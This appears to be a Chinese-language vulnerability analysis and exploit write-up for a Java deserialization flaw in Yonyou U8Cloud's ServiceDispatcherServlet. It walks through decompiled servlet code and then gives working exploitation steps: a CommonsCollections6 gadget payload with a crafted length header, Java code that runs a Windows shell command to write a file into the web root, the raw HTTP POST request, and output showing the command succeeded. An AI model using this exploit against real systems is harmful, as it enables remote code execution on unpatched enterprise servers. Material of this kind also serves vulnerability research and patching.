

U8Cloud_ServiceDispatcherServlet_Unserialize

漏洞描述

路由在 web.xml

```
<servlet-mapping>
    <servlet-name>CommonServletDispatcher</servlet-name>
    <url-pattern>/ServiceDispatcherServlet</url-pattern>
</servlet-mapping>

<servlet>
    <servlet-name>CommonServletDispatcher</servlet-name>
    <servlet-
class>nc.bs.framework.comn.serv.CommonServletDispatcher</servlet-class>
    <init-param>
        <param-name>service</param-name>
        <param-
value>nc.bs.framework.comn.serv.ServiceDispatcher</param-value>
    </init-param>
    <load-on-startup>10</load-on-startup>
</servlet>
```

跟进 nc.bs.framework.comn.serv.CommonServletDispatcher 接收web请求调用了
serviceHandler.execCall 方法

```
public void doGet(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
    long time = System.currentTimeMillis();
    if (Profiler.log.isInfoEnabled())
        Profiler.log.info("ServletDispatcher is starting to service.....");
    response.setContentType("application/x-java-serialized-object");
    try {
        this.serviceHandler.execCall(request, response);
    } catch (Throwable e) {
        this.log.error("Remote Service error", e);
    } finally {
        if (Profiler.log.isInfoEnabled()) {
            InvocationInfo info = InvocationInfoProxy.getInstance().get();
            String svc = "";
            if (info != null)
                svc = info.getServiceName() + "." + info.getMethodName();
        }
    }
}
```

```

        Profiler.log.info(endDoServiceMsg.format(new Object[] { svc,
Long.valueOf(System.currentTimeMillis() - time) }));
    }
    InvocationInfoProxy.getInstance().set(null);
}
}

public void doPost(HttpServletRequest request, HttpServletResponse response)
throws ServletException, IOException {
    doGet(request, response);
}
}

```

跟进 `nc.bs.framework.comn.serv.ServiceHandler`，定义了 `execCall` 接口

```

public interface ServiceHandler {
    void execCall(HttpServletRequest paramHttpServletRequest,
HttpServletResponse paramHttpServletResponse) throws Throwable;
}

```

查看 `nc.bs.framework.comn.serv.ServiceDispatcher`，实现了 `ServiceHandler` 接口

```

import nc.bs.framework.common.util.*;
import nc.bs.framework.server.token.TokenUtil;
import nc.bs.logging.Log;
import nc.bs.logging.Logger;
import nc.vo.pub.BusinessRuntimeException;

public class ServiceDispatcher implements ServiceHandler {
    private final Log log = Log.getInstance(ServiceDispatcher.class);

    private static final MessageFormat enterMethodMsgFormat = new MessageFormat("enter server invoke bean: {0} MethodName: {1}");
    private static final MessageFormat leaveMethodMsgFormat = new MessageFormat("leave server invoke bean: {0} MethodName: {1}, spend time {2}");
    private static final MessageFormat writeResultFormat = new MessageFormat("write result to client for {0} on method {1} take time: {2}");

    private Context remoteCtx;

    private Map ctxMap = new HashMap<>(128);

    private RemoteProcessComponetFactory factory = null;

    public ServiceDispatcher() {
        // ...
    }
}

```

并实现了 `execCall` 方法

```

12 public void execCall(HttpServletRequest request, HttpServletResponse response) throws Throwable {
13     ThreadTracer.getInstance().startThreadMonitor("initinvoke", request.getRemoteAddr(), "anonymous");
14     InvocationInfo invInfo = null;
15     Round round = null;
16     Result result = new Result();
17     boolean initied = false;
18     boolean[] streamRet = new boolean[2];
19     streamRet[0] = NetStreamConstants.STREAM_NEED_COMPRESS;
20     streamRet[1] = NetStreamConstants.STREAM_NEED_ENCRYPTED;
21     try {
22         int[] lsizes = new int[1];
23         try {
24             ThreadTracer.getInstance().beginReadFromClient();
25             long now = System.currentTimeMillis();
26             invInfo = (InvocationInfo)readObject((InputStream)request.getInputStream(), streamRet, lsizes);
27             ThreadTracer.getInstance().endReadFromClient(lsizes[0]);
28             if (invInfo != null) {
29                 round = new Round(invInfo);
30                 writeCDR(round, round);
31             }
32             String callId = invInfo.getCallId();
33             Logger.putMDC("serial", callId);
34             if (Profiler.log.isDebugEnabled()) {
35                 String svc = "";
36                 svc = invInfo.getServiceName() + "." + invInfo.getMethodName();
37                 Profiler.log.debug(svc + " flowsize: " + lsizes[0] + " read net spends time: " + (System.currentTimeMillis() - now));
38             }
39             invInfo.setServerName(((Server)NCLocator.getInstance().lookup(Server.class)).getServerName());
40             invInfo.setServerHost(request.getServerName());
41             invInfo.setServerPort(request.getServerPort());
42             invInfo.setRemoteHost(request.getRemoteAddr());
43             invInfo.setRemotePort(request.getRemotePort());
44             Logger.setUserLevel(invInfo.getUserLevel());
45         } catch (ClassNotFoundException exp) {
46             result.appendException = (Throwable)new FrameworkRuntimeException("Unexpected error(ClassNotFound)", exp);
47             writeResult(round, result, streamRet[0], streamRet[1], response, initied);
48             if (result.appendException == null)
49                 postRemoteProcess();
50             if (this.factory != null)
51                 this.factory.clearThreadScopePostProcess();
52             result = null;
53             RuntimeEnv.getInstance().setThreadRunningInServer(true);
54             ThreadTracer.getInstance().endThreadMonitor();
55             Logger.setMDCLevel(null);
56         }
57     }
58 }

```

跟进 readObject 函数，调用了 readInt() 函数处理了数据后最后调用了 readObject() 方法进行了反序列化

```

public static Object readObject(InputStream in, boolean[] retValue, int[]
lsizes) throws IOException, ClassNotFoundException {
    BufferedInputStream bin = new BufferedInputStream(in);
    int len = NetObjectInputStream.readInt(bin);
    byte[] bytes = new byte[len];
    int readLen = bin.read(bytes);
    lsizes[0] = readLen;
    while (readLen < len) {
        int tmpLen = bin.read(bytes, readLen, len - readLen);
        if (tmpLen < 0)
            break;
        readLen += tmpLen;
    }
    if (readLen < len)
        throw new EOFException("ReadObject EOF error readLen: " + readLen + "
expected: " + len);
    NetObjectInputStream objIn = new NetObjectInputStream(new
ByteArrayInputStream(bytes));
    if (retValue != null) {
        retValue[0] = objIn.isCompressed();
        retValue[1] = objIn.isEncrypted();
    }
}

```

```
return objIn.readObject();
}
```

跟进 `readInt()` 函数可以看到是取输入流的前四个字节进行计算得出当前 bytes 的长度

```
public static int readInt(InputStream in) throws IOException {
    int ch1 = in.read();
    int ch2 = in.read();
    int ch3 = in.read();
    int ch4 = in.read();
    if ((ch1 | ch2 | ch3 | ch4) < 0) {
        throw new EOFException();
    } else {
        return (ch1 << 24) + (ch2 << 16) + (ch3 << 8) + (ch4 << 0);
    }
}
```

漏洞利用

调用 `NetObjectOutputStream` 输出流进行对象写入

```
public static byte[] getNcBytes(Object obj) throws Exception {
    ByteArrayOutputStream bos = new ByteArrayOutputStream();
    NetObjectOutputStream noos = new NetObjectOutputStream(bos);
    noos.writeObject(obj);
    bos.close();
    noos.close();
    byte[] bytes1 = bos.toByteArray();
    System.out.println("length: " + bytes1.length);
}
```

根据 `readInt()` 函数我们知道前四个字节是用来计算最后反序列化传入的 bytes 长度

```
FileInputStream in = new FileInputStream(file); in: FileInputStream@933 file: "/tmp/aaa2.bin"
int[] lsize = new int[1]; lsize: [0]
BufferedInputStream bin = new BufferedInputStream(in); in: FileInputStream@933 bin: BufferedIn
int len = readInt(bin); len: 1292
System.out.println("intlen:"+len);
byte[] bytes = new byte[len]; len: 1292 bytes: [114, 113, -119, 1, 118, -91, 112, -99, 108, 2,
int readLen = bin.read(bytes); bin: BufferedInputStream@935 bytes: [114, 113, -119, 1, 118, -9
System.out.println("intreadLen:"+readLen); readLen: 1292

NetObjectInputStream objIn = new NetObjectInputStream(new ByteArrayInputStream(bytes));
objIn.readObject();
```

那么从 `NetObjectOutputStream.writeInt()` 函数中逆出前四个字节拼接在序列化字符串的头部形成 Payload

```

public static void writeInt(OutputStream output, int v) throws IOException {
    byte[] bytes = new byte[] {(byte) (v >>> 24 & 255), (byte) (v >>> 16 & 255), (byte) (v >>> 8 & 255), (byte) (v >>> 0 & 255)};
    output.write(bytes);
}

```

外部依赖中存在 commons-collections-3.2.1.jar 包，这边将cc6链和相关依赖复制过来，生成payload到本地发包

```

22
23 public class Main {
24     public static void main(String[] args) throws Exception {
25         String command = "cmd /c echo test44>>D:\\\\U8CERP\\\\hotwebs\\\\linux\\\\1.txt";
26         byte[] NcData = getObject(command);
27
28         String filepath = "c:\\users\\root\\desktop\\aaa2.bin";
29         File file = new File(filepath);
30         if (file.exists()) {
31             file.delete();
32         }
33         FileOutputStream out = new FileOutputStream(file);
34         out.write(NcData);
35         out.flush();
36         out.close();
37         //NetObjectInputStream objIn = new NetObjectInputStream(new ByteArrayInputStream(NcData));
38         //objIn.readObject();
39     }
40 }
41

```

发送请求

强制 HTTPS ☐

历史

Request

1 POST /ServiceDispatcherServlet HTTP/1.1

2 Host :

3 Accept-Encoding: gzip

4 Content-Type: *

5 Upgrade-Insecure-Requests: 1

6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36

7 Content-Length auto: 0

8

9 {{file(c:\users\root\desktop\aaa2.bin)}}

Responses 0bytes / 2700ms

1 HTTP/1.1 200 OK

2 Server: Apache-Coyote/1.1

3 Set-Cookie: JSESSIONID=13A46DDC9B8206CFC

4 Content-Type: application/x-java-seriali

5 Date: Thu, 26 Oct 2023 06:28:21 GMT

6

7

HTTP Status 404 - 未找到

大型企业数字化平台

http://1.1.1.1/linux/1.txt

test

test22

test44

用户信息

用户名 SID

=====

administrator S-1-5-21-1335721513-714451959-1504966